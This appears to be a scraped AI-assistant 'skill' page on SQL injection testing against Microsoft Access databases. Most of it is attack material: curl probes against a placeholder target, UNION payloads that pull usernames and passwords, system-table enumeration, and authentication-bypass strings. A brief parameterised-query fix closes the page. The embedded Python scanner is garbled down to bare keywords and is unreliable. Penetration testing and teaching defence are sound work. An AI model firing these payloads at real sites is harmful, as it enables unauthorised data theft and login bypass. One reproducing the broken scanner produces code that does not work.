Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.
Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.
Microsoft Access SQL injection testing targets Access databases (Jet/ACE engine) often used in legacy or small-scale web applications. Access has limited features compared to enterprise databases but can still be exploited for data extraction and authentication bypass.
What to Check
Access-specific error messages
MSysObjects system table
IIF() function (Access-specific)
TOP keyword instead of LIMIT
Date format (#date#)
How to Test
Step 1: MS Access Detection
#!/bin/bash
TARGET="https://target.com/product?id="echo"[*] Testing for MS Access database..."# Error-based detection
curl -s "${TARGET}'" | grep -iE "Microsoft Access|JET Database|ODBC Microsoft Access|\.mdb"# Access-specific syntax test
curl -s "${TARGET}' AND IIF(1=1,1,0)=1--"# TOP keyword (Access uses TOP not LIMIT)
curl -s "${TARGET}' UNION SELECT TOP 1 NULL--"
"' AND (SELECT COUNT(*) FROM MSysObjects AS T1, MSysObjects AS T2, MSysObjects AS T3)>0--"
def
detect_access
self, param
"""Detect if backend is MS Access"""
print
f"[*] Detecting MS Access database..."
for
in
self
'detection'
try
self
self
for
in
self
if
print
f"[+] MS Access database detected!"
return
True
except
as
pass
return
False
def
test_union_based
self, param
"""Test Access UNION-based injection"""
print
f"\n[*] Testing MS Access UNION-based injection..."
for
in
self
'union_based'
try
self
self
if
200
False
for
in
self
if
True
break
if
not
print
f"[+] UNION injection possible!"
self
'type'
'MS Access UNION-based SQLi'
'payload'
'severity'
'Critical'
return
True
except
as
pass
return
False
def
run_tests
self, param='id'
"""Run all Access SQLi tests"""
if
self
self
self
def
generate_report
self
"""Generate findings report"""
print
"\n"
"="
50
print
"MS ACCESS SQL INJECTION REPORT"
print
"="
50
if
not
self
print
"\nNo MS Access SQLi vulnerabilities found."
else
for
in
self
print
f"\n[{f['severity']}] {f['type']}"
# Usage
"https://target.com/product"
'id'
Step 3: MS Access Data Extraction
-- List Tables (requires access to system tables)SELECT Name FROM MSysObjects WHERE Type=1-- Extract Data' UNION SELECT TOP 1 username,password,NULL FROM users--
-- Authentication Bypass
'OR'1'='1
admin'---- IIF conditional' AND IIF((SELECT TOP 1 username FROM users)='admin',1,0)=1--
-- Note: Access has limited functionality
-- No stacked queries
-- No sleep function
-- No file operations
Remediation
' VBScript/ASP - Parameterized queriesDim cmd
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM users WHERE id = ?"
cmd.Parameters.Append cmd.CreateParameter("id", 3, 1, , userId)
Set rs = cmd.Execute()